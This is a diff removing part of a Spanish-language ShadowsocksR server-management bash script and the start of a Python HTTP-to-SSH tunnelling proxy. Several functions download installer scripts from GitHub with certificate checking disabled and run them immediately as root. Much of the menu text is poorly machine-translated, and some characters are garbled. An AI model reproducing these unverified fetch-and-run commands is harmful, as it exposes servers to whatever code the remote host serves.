-		stty erase '^H' && read -p "(Predeterminado: n):" yn
-		[[ -z ${yn} ]] && yn="n"
-		if [[ ${yn} == [Yy] ]]; then
-			Clear_transfer_all
-		else
-			echo "Cancelar ..."
-		fi
-	elif [[ ${ssr_modify} == "3" ]]; then
-		check_crontab
-		Set_crontab
-		Clear_transfer_all_cron_start
-	elif [[ ${ssr_modify} == "4" ]]; then
-		check_crontab
-		Clear_transfer_all_cron_stop
-	elif [[ ${ssr_modify} == "5" ]]; then
-		check_crontab
-		Clear_transfer_all_cron_modify
-	else
-		echo -e "${Error} Por favor numero de (1-5)" && exit 1
-	fi
-
-}
-Clear_transfer_one() {
-	List_port_user
-	while true; do
-		msg -bar
-		echo -e "Por favor ingrese el puerto de usuario para borrar el tráfico usado"
-		stty erase '^H' && read -p "(Predeterminado: Cancelar):" Clear_transfer_user_port
-		[[ -z "${Clear_transfer_user_port}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
-		Clear_transfer_user=$(cat "${config_user_mudb_file}" | grep '"port": '"${Clear_transfer_user_port}"',')
-		if [[ ! -z ${Clear_transfer_user} ]]; then
-			match_clear=$(python mujson_mgr.py -c -p "${Clear_transfer_user_port}" | grep -w "clear user ")
-			if [[ -z "${match_clear}" ]]; then
-				echo -e "${Error} El usuario no ha podido utilizar la compensación de tráfico ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} "
-			else
-				echo -e "${Info} El usuario ha eliminado con éxito el tráfico utilizando cero. ${Green_font_prefix}[Puerto: ${Clear_transfer_user_port}]${Font_color_suffix} "
-			fi
-			break
-		else
-			echo -e "${Error} Por favor ingrese el puerto correcto !"
-		fi
-	done
-}
-Clear_transfer_all() {
-	clear
-	cd "${ssr_folder}"
-	user_info=$(python mujson_mgr.py -l)
-	user_total=$(echo "${user_info}" | wc -l)
-	[[ -z ${user_info} ]] && echo -e "${Error} No encontro, por favor compruebe!" && exit 1
-	for ((integer = 1; integer <= ${user_total}; integer++)); do
-		user_port=$(echo "${user_info}" | sed -n "${integer}p" | awk '{print $4}')
-		match_clear=$(python mujson_mgr.py -c -p "${user_port}" | grep -w "clear user ")
-		if [[ -z "${match_clear}" ]]; then
-			echo -e "${Error} El usuario ha utilizado el trafico borrado fallido ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} "
-		else
-			echo -e "${Info} El usuario ha utilizado el trafico para borrar con exito ${Green_font_prefix}[Port: ${user_port}]${Font_color_suffix} "
-		fi
-	done
-	echo -e "${Info} Se borra todo el trafico de usuarios!"
-}
-Clear_transfer_all_cron_start() {
-	crontab -l >"$file/crontab.bak"
-	sed -i "/ssrmu.sh/d" "$file/crontab.bak"
-	echo -e "\n${Crontab_time} /bin/bash $file/ssrmu.sh clearall" >>"$file/crontab.bak"
-	crontab "$file/crontab.bak"
-	rm -r "$file/crontab.bak"
-	cron_config=$(crontab -l | grep "ssrmu.sh")
-	if [[ -z ${cron_config} ]]; then
-		echo -e "${Error} Temporizacion de todo el trafico de usuarios borrado. !" && exit 1
-	else
-		echo -e "${Info} Programacion de todos los tiempos de inicio claro exitosos!"
-	fi
-}
-Clear_transfer_all_cron_stop() {
-	crontab -l >"$file/crontab.bak"
-	sed -i "/ssrmu.sh/d" "$file/crontab.bak"
-	crontab "$file/crontab.bak"
-	rm -r "$file/crontab.bak"
-	cron_config=$(crontab -l | grep "ssrmu.sh")
-	if [[ ! -z ${cron_config} ]]; then
-		echo -e "${Error} Temporizado Todo el trafico de usuarios se ha borrado Parado fallido!" && exit 1
-	else
-		echo -e "${Info} Timing All Clear Stop Stop Successful!!"
-	fi
-}
-Clear_transfer_all_cron_modify() {
-	Set_crontab
-	Clear_transfer_all_cron_stop
-	Clear_transfer_all_cron_start
-}
-Set_crontab() {
-	clear
-
-	echo -e "Por favor ingrese el intervalo de tiempo de flujo
-  === Formato ===
-  * * * * * Mes * * * * *
-  ${Green_font_prefix} 0 2 1 * * ${Font_color_suffix} Representante 1er, 2:00, claro, trafico usado.
- $(msg -bar)
-  ${Green_font_prefix} 0 2 15 * * ${Font_color_suffix} Representativo El 1  2} representa el 15  2:00 minutos Punto de flujo usado despejado 0 minutos Borrar flujo usado�
- $(msg -bar)
-  ${Green_font_prefix} 0 2 */7 * * ${Font_color_suffix} Representante 7 dias 2: 0 minutos despeja el trafico usado.
- $(msg -bar)
-  ${Green_font_prefix} 0 2 * * 0 ${Font_color_suffix} Representa todos los domingos (7) para despejar el trafico utilizado.
- $(msg -bar)
-  ${Green_font_prefix} 0 2 * * 3 ${Font_color_suffix} Representante (3) Flujo de trafico usado despejado"
-	msg -bar
-	stty erase '^H' && read -p "(Default: 0 2 1 * * 1 de cada mes 2:00):" Crontab_time
-	[[ -z "${Crontab_time}" ]] && Crontab_time="0 2 1 * *"
-}
-Start_SSR() {
-	clear
-	SSR_installation_status
-	check_pid
-	[[ ! -z ${PID} ]] && echo -e "${Error} ShadowsocksR se esta ejecutando!" && exit 1
-	/etc/init.d/ssrmu start
-
-}
-Stop_SSR() {
-	clear
-	SSR_installation_status
-	check_pid
-	[[ -z ${PID} ]] && echo -e "${Error} ShadowsocksR no esta funcionando!" && exit 1
-	/etc/init.d/ssrmu stop
-
-}
-Restart_SSR() {
-	clear
-	SSR_installation_status
-	check_pid
-	[[ ! -z ${PID} ]] && /etc/init.d/ssrmu stop
-	/etc/init.d/ssrmu start
-
-}
-View_Log() {
-	SSR_installation_status
-	[[ ! -e ${ssr_log_file} ]] && echo -e "${Error} El registro de ShadowsocksR no existe!" && exit 1
-	echo && echo -e "${Tip} Presione ${Red_font_prefix}Ctrl+C ${Font_color_suffix} Registro de registro de terminacion" && echo
-	tail -f ${ssr_log_file}
-
-}
-#Afilado
-Configure_Server_Speeder() {
-	clear
-	msg -bar
-	echo && echo -e "Que vas a hacer
- ${BARRA1}
-  ${Green_font_prefix}1.${Font_color_suffix} Velocidad aguda
- $(msg -bar)
-  ${Green_font_prefix}2.${Font_color_suffix} Velocidad aguda
- ————————
-  ${Green_font_prefix}3.${Font_color_suffix} Velocidad aguda
- $(msg -bar)
-  ${Green_font_prefix}4.${Font_color_suffix} Velocidad aguda
- $(msg -bar)
-  ${Green_font_prefix}5.${Font_color_suffix} Reinicie la velocidad aguda
- $(msg -bar)
-  ${Green_font_prefix}6.${Font_color_suffix} Estado agudo
-  $(msg -bar)
-  Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo"
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: Cancelar):" server_speeder_num
-	[[ -z "${server_speeder_num}" ]] && echo "Cancelado ..." && exit 1
-	if [[ ${server_speeder_num} == "1" ]]; then
-		Install_ServerSpeeder
-	elif [[ ${server_speeder_num} == "2" ]]; then
-		Server_Speeder_installation_status
-		Uninstall_ServerSpeeder
-	elif [[ ${server_speeder_num} == "3" ]]; then
-		Server_Speeder_installation_status
-		${Server_Speeder_file} start
-		${Server_Speeder_file} status
-	elif [[ ${server_speeder_num} == "4" ]]; then
-		Server_Speeder_installation_status
-		${Server_Speeder_file} stop
-	elif [[ ${server_speeder_num} == "5" ]]; then
-		Server_Speeder_installation_status
-		${Server_Speeder_file} restart
-		${Server_Speeder_file} status
-	elif [[ ${server_speeder_num} == "6" ]]; then
-		Server_Speeder_installation_status
-		${Server_Speeder_file} status
-	else
-		echo -e "${Error} Por favor numero(1-6)" && exit 1
-	fi
-}
-Install_ServerSpeeder() {
-	[[ -e ${Server_Speeder_file} ]] && echo -e "${Error} Server Speeder esta instalado!" && exit 1
-	#Prestamo de la version feliz de 91yun.rog
-	wget --no-check-certificate -qO /tmp/serverspeeder.sh https://raw.githubusercontent.com/91yun/serverspeeder/master/serverspeeder.sh
-	[[ ! -e "/tmp/serverspeeder.sh" ]] && echo -e "${Error} Prestamo de la version feliz de 91yun.rog!" && exit 1
-	bash /tmp/serverspeeder.sh
-	sleep 2s
-	PID=$(ps -ef | grep -v grep | grep "serverspeeder" | awk '{print $2}')
-	if [[ ! -z ${PID} ]]; then
-		rm -rf /tmp/serverspeeder.sh
-		rm -rf /tmp/91yunserverspeeder
-		rm -rf /tmp/91yunserverspeeder.tar.gz
-		echo -e "${Info} La instalacion del servidor Speeder esta completa!" && exit 1
-	else
-		echo -e "${Error} Fallo la instalacion de Server Speeder!" && exit 1
-	fi
-}
-Uninstall_ServerSpeeder() {
-	clear
-	msg -bar
-	echo "yes para desinstalar Speed ??Speed ??(Server Speeder)[y/N]" && echo
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: n):" unyn
-	[[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1
-	if [[ ${unyn} == [Yy] ]]; then
-		chattr -i /serverspeeder/etc/apx*
-		/serverspeeder/bin/serverSpeeder.sh uninstall -f
-		echo && echo "Server Speeder Desinstalacion completa!" && echo
-	fi
-}
-# LotServer
-Configure_LotServer() {
-	clear
-	msg -bar
-	echo && echo -e "Que vas a hacer?
- $(msg -bar)
-  ${Green_font_prefix}1.${Font_color_suffix} Instalar LotServer
- $(msg -bar)
-  ${Green_font_prefix}2.${Font_color_suffix} Desinstalar LotServer
- ————————
-  ${Green_font_prefix}3.${Font_color_suffix} Iniciar LotServer
- $(msg -bar)
-  ${Green_font_prefix}4.${Font_color_suffix} Detener LotServer
- $(msg -bar)
-  ${Green_font_prefix}5.${Font_color_suffix} Reiniciar LotServer
- $(msg -bar)
-  ${Green_font_prefix}6.${Font_color_suffix} Ver el estado de LotServer
- ${BARRA1}
-  
-  Nota: Sharp y LotServer no se pueden instalar / iniciar al mismo tiempo"
-	msg -bar
-
-	stty erase '^H' && read -p "(Predeterminado: Cancelar):" lotserver_num
-	[[ -z "${lotserver_num}" ]] && echo "Cancelado ..." && exit 1
-	if [[ ${lotserver_num} == "1" ]]; then
-		Install_LotServer
-	elif [[ ${lotserver_num} == "2" ]]; then
-		LotServer_installation_status
-		Uninstall_LotServer
-	elif [[ ${lotserver_num} == "3" ]]; then
-		LotServer_installation_status
-		${LotServer_file} start
-		${LotServer_file} status
-	elif [[ ${lotserver_num} == "4" ]]; then
-		LotServer_installation_status
-		${LotServer_file} stop
-	elif [[ ${lotserver_num} == "5" ]]; then
-		LotServer_installation_status
-		${LotServer_file} restart
-		${LotServer_file} status
-	elif [[ ${lotserver_num} == "6" ]]; then
-		LotServer_installation_status
-		${LotServer_file} status
-	else
-		echo -e "${Error} Por favor numero(1-6)" && exit 1
-	fi
-}
-Install_LotServer() {
-	[[ -e ${LotServer_file} ]] && echo -e "${Error} LotServer esta instalado!" && exit 1
-	#Github: https://github.com/0oVicero0/serverSpeeder_Install
-	wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh"
-	[[ ! -e "/tmp/appex.sh" ]] && echo -e "${Error} Fallo la descarga del script de instalacion de LotServer!" && exit 1
-	bash /tmp/appex.sh 'install'
-	sleep 2s
-	PID=$(ps -ef | grep -v grep | grep "appex" | awk '{print $2}')
-	if [[ ! -z ${PID} ]]; then
-		echo -e "${Info} La instalacion de LotServer esta completa!" && exit 1
-	else
-		echo -e "${Error} Fallo la instalacion de LotServer!" && exit 1
-	fi
-}
-Uninstall_LotServer() {
-	clear
-	msg -bar
-	echo "Desinstalar Para desinstalar LotServer[y/N]" && echo
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: n):" unyn
-	msg -bar
-	[[ -z ${unyn} ]] && echo && echo "Cancelado ..." && exit 1
-	if [[ ${unyn} == [Yy] ]]; then
-		wget --no-check-certificate -qO /tmp/appex.sh "https://raw.githubusercontent.com/0oVicero0/serverSpeeder_Install/master/appex.sh" && bash /tmp/appex.sh 'uninstall'
-		echo && echo "La desinstalacion de LotServer esta completa!" && echo
-	fi
-}
-# BBR
-Configure_BBR() {
-	clear
-	msg -bar
-	echo -e "  Que vas a hacer?
- $(msg -bar)	
-  ${Green_font_prefix}1.${Font_color_suffix} Instalar BBR
- ————————
- ${Green_font_prefix}2.${Font_color_suffix} Iniciar BBR
- ${Green_font_prefix}3.${Font_color_suffix} Dejar de BBR
- ${Green_font_prefix}4.${Font_color_suffix} Ver el estado de BBR"
-	msg -bar
-	echo -e "${Green_font_prefix} [Por favor, preste atencion antes de la instalacion] ${Font_color_suffix}
- $(msg -bar)
- 1. Abra BBR, reemplace, hay un error de reemplazo (despues de reiniciar)
- 2. Este script solo es compatible con los nucleos de reemplazo de Debian / Ubuntu. OpenVZ y Docker no admiten el reemplazo de los nucleos.
- 3. Debian reemplaza el proceso del kernel [Desea finalizar el kernel de desinstalacion], seleccione ${Green_font_prefix} NO ${Font_color_suffix}"
-	stty erase '^H' && read -p "(Predeterminado: Cancelar):" bbr_num
-	msg -bar
-	[[ -z "${bbr_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
-	if [[ ${bbr_num} == "1" ]]; then
-		Install_BBR
-	elif [[ ${bbr_num} == "2" ]]; then
-		Start_BBR
-	elif [[ ${bbr_num} == "3" ]]; then
-		Stop_BBR
-	elif [[ ${bbr_num} == "4" ]]; then
-		Status_BBR
-	else
-		echo -e "${Error} Por favor numero(1-4)" && exit 1
-	fi
-}
-Install_BBR() {
-	[[ ${release} = "centos" ]] && echo -e "${Error} Este script de instalacion del sistema CentOS. BBR !" && exit 1
-	BBR_installation_status
-	bash "${BBR_file}"
-}
-Start_BBR() {
-	BBR_installation_status
-	bash "${BBR_file}" start
-}
-Stop_BBR() {
-	BBR_installation_status
-	bash "${BBR_file}" stop
-}
-Status_BBR() {
-	BBR_installation_status
-	bash "${BBR_file}" status
-}
-BackUP_ssrr() {
-	clear
-	msg -bar
-	msg -ama "$(fun_trans "HERRAMIENTA DE BACKUP SS-SSRR -BETA")"
-	msg -bar
-	msg -azu "CREANDO BACKUP" "RESTAURAR BACKUP"
-	msg -bar
-	rm -rf /root/mudb.json >/dev/null 2>&1
-	cp /usr/local/shadowsocksr/mudb.json /root/mudb.json >/dev/null 2>&1
-	msg -azu "$(fun_trans "Procedimiento Hecho con Exito, Guardado en:")"
-	echo -e "\033[1;31mBACKUP > [\033[1;32m/root/mudb.json\033[1;31m]"
-	msg -bar
-}
-RestaurarBackUp_ssrr() {
-	clear
-	msg -bar
-	msg -ama "$(fun_trans "HERRAMIENTA DE RESTAURACION SS-SSRR -BETA")"
-	msg -bar
-	msg -azu "Recuerde tener minimo una cuenta ya creada"
-	msg -azu "Copie el archivo mudb.json en la carpeta /root"
-	read -p "     ►► Presione enter para continuar ◄◄"
-	msg -bar
-	msg -azu "$(fun_trans "Procedimiento Hecho con Exito")"
-	read -p "  ►► Presione enter para Reiniciar Panel SSRR ◄◄"
-	msg -bar
-	mv /root/mudb.json /usr/local/shadowsocksr/mudb.json
-	Restart_SSR
-	msg -bar
-}
-
-# Otros
-Other_functions() {
-	clear
-	msg -bar
-	echo && echo -e "  Que vas a realizar?
- $(msg -bar)
-   ${Green_font_prefix}1.${Font_color_suffix} Configurar BBR
-   ${Green_font_prefix}2.${Font_color_suffix} Velocidad de configuracion (ServerSpeeder)
-   ${Green_font_prefix}3.${Font_color_suffix} Configurar LotServer (Rising Parent)
-   ${Tip} Sharp / LotServer / BBR no es compatible con OpenVZ!
-   ${Tip} Speed y LotServer no pueden coexistir!
- ————————————
-   ${Green_font_prefix}4.${Font_color_suffix} Llave de bloqueo BT/PT/SPAM (iptables)
-   ${Green_font_prefix}5.${Font_color_suffix} Llave de desbloqueo BT/PT/SPAM (iptables)
- ————————————
-   ${Green_font_prefix}6.${Font_color_suffix} Cambiar modo de salida de registro ShadowsocksR
-   —— Modo bajo o verboso..
-   ${Green_font_prefix}7.${Font_color_suffix} Supervisar el estado de ejecucion del servidor ShadowsocksR
-   —— NOTA: Esta funcion es adecuada para que el servidor SSR finalice los procesos regulares. Una vez que esta funcion esta habilitada, sera detectada cada minuto. Cuando el proceso no existe, el servidor SSR se inicia automaticamente.
- ———————————— 
-  ${Green_font_prefix}8.${Font_color_suffix} Backup SSRR
-  ${Green_font_prefix}9.${Font_color_suffix} Restaurar Backup" && echo
-	msg -bar
-	stty erase '^H' && read -p "(Predeterminado: cancelar):" other_num
-	[[ -z "${other_num}" ]] && echo -e "Cancelado...\n$(msg -bar)" && exit 1
-	if [[ ${other_num} == "1" ]]; then
-		Configure_BBR
-	elif [[ ${other_num} == "2" ]]; then
-		Configure_Server_Speeder
-	elif [[ ${other_num} == "3" ]]; then
-		Configure_LotServer
-	elif [[ ${other_num} == "4" ]]; then
-		BanBTPTSPAM
-	elif [[ ${other_num} == "5" ]]; then
-		UnBanBTPTSPAM
-	elif [[ ${other_num} == "6" ]]; then
-		Set_config_connect_verbose_info
-	elif [[ ${other_num} == "7" ]]; then
-		Set_crontab_monitor_ssr
-	elif [[ ${other_num} == "8" ]]; then
-		BackUP_ssrr
-	elif [[ ${other_num} == "9" ]]; then
-		RestaurarBackUp_ssrr
-	else
-		echo -e "${Error} Por favor numero [1-9]" && exit 1
-	fi
-
-}
-#Prohibido�BT PT SPAM
-BanBTPTSPAM() {
-	wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh banall
-	rm -rf ban_iptables.sh
-}
-#Desbloquear BT PT SPAM
-UnBanBTPTSPAM() {
-	wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/ban_iptables.sh && chmod +x ban_iptables.sh && bash ban_iptables.sh unbanall
-	rm -rf ban_iptables.sh
-}
-Set_config_connect_verbose_info() {
-	clear
-	msg -bar
-	SSR_installation_status
-	[[ ! -e ${jq_file} ]] && echo -e "${Error} JQ parser No, por favor, compruebe!" && exit 1
-	connect_verbose_info=$(${jq_file} '.connect_verbose_info' ${config_user_file})
-	if [[ ${connect_verbose_info} = "0" ]]; then
-		echo && echo -e "Modo de registro actual: ${Green_font_prefix}Registro de errores en modo simple${Font_color_suffix}"
-		msg -bar
-		echo -e "yes para cambiar a ${Green_font_prefix}Modo detallado (registro de conexi�n + registro de errores)${Font_color_suffix}?[y/N]"
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny
-		[[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n"
-		if [[ ${connect_verbose_info_ny} == [Yy] ]]; then
-			ssr_connect_verbose_info="1"
-			Modify_config_connect_verbose_info
-			Restart_SSR
-		else
-			echo && echo "	Cancelado ..." && echo
-		fi
-	else
-		echo && echo -e "Modo de registro actual: ${Green_font_prefix}Modo detallado (conexion de conexion + registro de errores)${Font_color_suffix}"
-		msg -bar
-		echo -e "yes para cambiar a ${Green_font_prefix}Modo simple ${Font_color_suffix}?[y/N]"
-		stty erase '^H' && read -p "(Predeterminado: n):" connect_verbose_info_ny
-		[[ -z "${connect_verbose_info_ny}" ]] && connect_verbose_info_ny="n"
-		if [[ ${connect_verbose_info_ny} == [Yy] ]]; then
-			ssr_connect_verbose_info="0"
-			Modify_config_connect_verbose_info
-			Restart_SSR
-		else
-			echo && echo "	Cancelado ..." && echo
-		fi
-	fi
-}
-Set_crontab_monitor_ssr() {
-	clear
-	msg -bar
-	SSR_installation_status
-	crontab_monitor_ssr_status=$(crontab -l | grep "ssrmu.sh monitor")
-	if [[ -z "${crontab_monitor_ssr_status}" ]]; then
-		echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}No monitoreado${Font_color_suffix}"
-		msg -bar
-		echo -e "Ok para abrir ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (Cuando el proceso R lado SSR R)[Y/n]"
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: y):" crontab_monitor_ssr_status_ny
-		[[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="y"
-		if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then
-			crontab_monitor_ssr_cron_start
-		else
-			echo && echo "	Cancelado ..." && echo
-		fi
-	else
-		echo && echo -e "Modo de monitoreo actual: ${Green_font_prefix}Abierto${Font_color_suffix}"
-		msg -bar
-		echo -e "Ok para apagar ${Green_font_prefix}Servidor ShadowsocksR ejecutando monitoreo de estado${Font_color_suffix} Funcion? (procesar servidor SSR)[y/N]"
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: n):" crontab_monitor_ssr_status_ny
-		[[ -z "${crontab_monitor_ssr_status_ny}" ]] && crontab_monitor_ssr_status_ny="n"
-		if [[ ${crontab_monitor_ssr_status_ny} == [Yy] ]]; then
-			crontab_monitor_ssr_cron_stop
-		else
-			echo && echo "	Cancelado ..." && echo
-		fi
-	fi
-}
-crontab_monitor_ssr() {
-	SSR_installation_status
-	check_pid
-	if [[ -z ${PID} ]]; then
-		echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Detectado que el servidor ShadowsocksR no esta iniciado, inicie..." | tee -a ${ssr_log_file}
-		/etc/init.d/ssrmu start
-		sleep 1s
-		check_pid
-		if [[ -z ${PID} ]]; then
-			echo -e "${Error} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Fallo el inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1
-		else
-			echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Inicio de inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1
-		fi
-	else
-		echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] El proceso del servidor ShadowsocksR se ejecuta normalmente..." exit 0
-	fi
-}
-crontab_monitor_ssr_cron_start() {
-	crontab -l >"$file/crontab.bak"
-	sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak"
-	echo -e "\n* * * * * /bin/bash $file/ssrmu.sh monitor" >>"$file/crontab.bak"
-	crontab "$file/crontab.bak"
-	rm -r "$file/crontab.bak"
-	cron_config=$(crontab -l | grep "ssrmu.sh monitor")
-	if [[ -z ${cron_config} ]]; then
-		echo -e "${Error} Fallo el arranque del servidor ShadowsocksR!" && exit 1
-	else
-		echo -e "${Info} El servidor ShadowsocksR esta ejecutando la monitorizacion del estado con exito!"
-	fi
-}
-crontab_monitor_ssr_cron_stop() {
-	crontab -l >"$file/crontab.bak"
-	sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak"
-	crontab "$file/crontab.bak"
-	rm -r "$file/crontab.bak"
-	cron_config=$(crontab -l | grep "ssrmu.sh monitor")
-	if [[ ! -z ${cron_config} ]]; then
-		echo -e "${Error} Fallo la detencion del servidor ShadowsocksR!" && exit 1
-	else
-		echo -e "${Info} La supervision del estado de ejecucion del servidor de ShadowsocksR se detiene correctamente!"
-	fi
-}
-Update_Shell() {
-	clear
-	msg -bar
-	echo -e "La version actual es [ ${sh_ver} ], Comienza a detectar la ultima version ..."
-	sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh" | grep 'sh_ver="' | awk -F "=" '{print $NF}' | sed 's/\"//g' | head -1) && sh_new_type="github"
-	[[ -z ${sh_new_ver} ]] && sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh" | grep 'sh_ver="' | awk -F "=" '{print $NF}' | sed 's/\"//g' | head -1) && sh_new_type="github"
-	[[ -z ${sh_new_ver} ]] && echo -e "${Error} Ultima version de deteccion !" && exit 0
-	if [[ ${sh_new_ver} != ${sh_ver} ]]; then
-		echo -e "Descubrir nueva version[ ${sh_new_ver} ], Esta actualizado?[Y/n]"
-		msg -bar
-		stty erase '^H' && read -p "(Predeterminado: y):" yn
-		[[ -z "${yn}" ]] && yn="y"
-		if [[ ${yn} == [Yy] ]]; then
-			cd "${file}"
-			if [[ $sh_new_type == "github" ]]; then
-				wget -N --no-check-certificate https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh && chmod +x ssrrmu.sh
-			fi
-			echo -e "El script ha sido actualizado a la ultima version.[ ${sh_new_ver} ] !"
-		else
-			echo && echo "	Cancelado ..." && echo
-		fi
-	else
-		echo -e "Actualmente es la ultima version.[ ${sh_new_ver} ] !"
-	fi
-	exit 0
-
-}
-# Mostrar el estado del menu
-menu_status() {
-	msg -bar
-	if [[ -e ${ssr_folder} ]]; then
-		check_pid
-		if [[ ! -z "${PID}" ]]; then
-			echo -e "         VPS-MX By @Kalix1\n Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} y ${Green_font_prefix}Iniciado${Font_color_suffix}"
-		else
-			echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} pero ${Red_font_prefix}no comenzo${Font_color_suffix}"
-		fi
-		cd "${ssr_folder}"
-	else
-		echo -e " Estado actual: ${Red_font_prefix}No Instalado${Font_color_suffix}"
-	fi
-}
-check_sys
-[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} el script no es compatible con el sistema actual ${release} !" && exit 1
-action=$1
-if [[ "${action}" == "clearall" ]]; then
-	Clear_transfer_all
-elif [[ "${action}" == "monitor" ]]; then
-	crontab_monitor_ssr
-else
-
-	echo -e "$(msg -tit) "
-	echo -e "        Controlador de ShadowSock-R  ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix}
- $(msg -bar)
-   ${Green_font_prefix}1.${Font_color_suffix} Instalar ShadowsocksR 
-   ${Green_font_prefix}2.${Font_color_suffix} Actualizar ShadowsocksR
-   ${Green_font_prefix}3.${Font_color_suffix} Desinstalar ShadowsocksR
-   ${Green_font_prefix}4.${Font_color_suffix} Instalar libsodium (chacha20)
- —————————————
-   ${Green_font_prefix}5.${Font_color_suffix} Verifique la informacion de la cuenta
-   ${Green_font_prefix}6.${Font_color_suffix} Mostrar la informacion de conexion 
-   ${Green_font_prefix}7.${Font_color_suffix} Agregar/Modificar/Eliminar la configuracion del usuario  
-   ${Green_font_prefix}8.${Font_color_suffix} Modificar manualmente la configuracion del usuario
-   ${Green_font_prefix}9.${Font_color_suffix} Borrar el trafico usado  
- ——————————————
-  ${Green_font_prefix}10.${Font_color_suffix} Iniciar ShadowsocksR
-  ${Green_font_prefix}11.${Font_color_suffix} Detener ShadowsocksR
-  ${Green_font_prefix}12.${Font_color_suffix} Reiniciar ShadowsocksR
-  ${Green_font_prefix}13.${Font_color_suffix} Verificar Registro de ShadowsocksR
- —————————————
-  ${Green_font_prefix}14.${Font_color_suffix} Otras Funciones
-  ${Green_font_prefix}15.${Font_color_suffix} Actualizar Script 
- $(msg -bar)
-  ${Green_font_prefix}16.${Font_color_suffix}${Red_font_prefix} SALIR"
-
-	menu_status
-	msg -bar
-	stty erase '^H' && read -p "Porfavor seleccione una opcion [1-16]:" num
-	msg -bar
-	case "$num" in
-	1)
-		Install_SSR
-		;;
-	2)
-		Update_SSR
-		;;
-	3)
-		Uninstall_SSR
-		;;
-	4)
-		Install_Libsodium
-		;;
-	5)
-		View_User
-		;;
-	6)
-		View_user_connection_info
-		;;
-	7)
-		Modify_Config
-		;;
-	8)
-		Manually_Modify_Config
-		;;
-	9)
-		Clear_transfer
-		;;
-	10)
-		Start_SSR
-		;;
-	11)
-		Stop_SSR
-		;;
-	12)
-		Restart_SSR
-		;;
-	13)
-		View_Log
-		;;
-	14)
-		Other_functions
-		;;
-	15)
-		Update_Shell
-		;;
-	16)
-		exit 1
-		;;
-	*)
-		echo -e "${Error} Porfavor use numeros del [1-16]"
-		msg -bar
-		;;
-	esac
-fi

+ 0 - 267
SCRIPT-v8.5x Mod/VPS-MX/protocolos/PDirect.py

@@ -1,267 +0,0 @@
-import socket, threading, thread, select, signal, sys, time, getopt
-
-# Listen
-LISTENING_ADDR = '0.0.0.0'
-if sys.argv[1:]:
-  LISTENING_PORT = sys.argv[1]
-else:
-  LISTENING_PORT = 80  
-#Pass
-PASS = ''
-
-# CONST
-BUFLEN = 4096 * 4
-TIMEOUT = 60
-DEFAULT_HOST = '127.0.0.1:22'
-RESPONSE = 'HTTP/1.1 200 <strong>(<span style="color: #ff0000;"><strong><span style="color: #ff9900;">By</span>-<span style="color: #008000;">VPS</span>-MEX</strong></span>)</strong>\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 conexion exitosa\r\n\r\n'
-#RESPONSE = 'HTTP/1.1 200 Hello_World!\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n'  # lint:ok
-
-class Server(threading.Thread):
-    def __init__(self, host, port):
-        threading.Thread.__init__(self)
-        self.running = False
-        self.host = host
-        self.port = port
-        self.threads = []
-        self.threadsLock = threading.Lock()
-        self.logLock = threading.Lock()
-
-    def run(self):
-        self.soc = socket.socket(socket.AF_INET)
-        self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-        self.soc.settimeout(2)
-        intport = int(self.port)
-        self.soc.bind((self.host, intport))
-        self.soc.listen(0)
-        self.running = True
-
-        try:
-            while self.running:
-                try:
-                    c, addr = self.soc.accept()
-                    c.setblocking(1)
-                except socket.timeout:
-                    continue
-
-                conn = ConnectionHandler(c, self, addr)
-                conn.start()
-                self.addConn(conn)
-        finally:
-            self.running = False
-            self.soc.close()
-
-    def printLog(self, log):
-        self.logLock.acquire()
-        print log
-        self.logLock.release()
-
-    def addConn(self, conn):
-        try:
-            self.threadsLock.acquire()
-            if self.running:
-                self.threads.append(conn)
-        finally:
-            self.threadsLock.release()
-
-    def removeConn(self, conn):
-        try:
-            self.threadsLock.acquire()
-            self.threads.remove(conn)
-        finally:
-            self.threadsLock.release()
-
-    def close(self):
-        try:
-            self.running = False
-            self.threadsLock.acquire()
-
-            threads = list(self.threads)
-            for c in threads:
-                c.close()
-        finally:
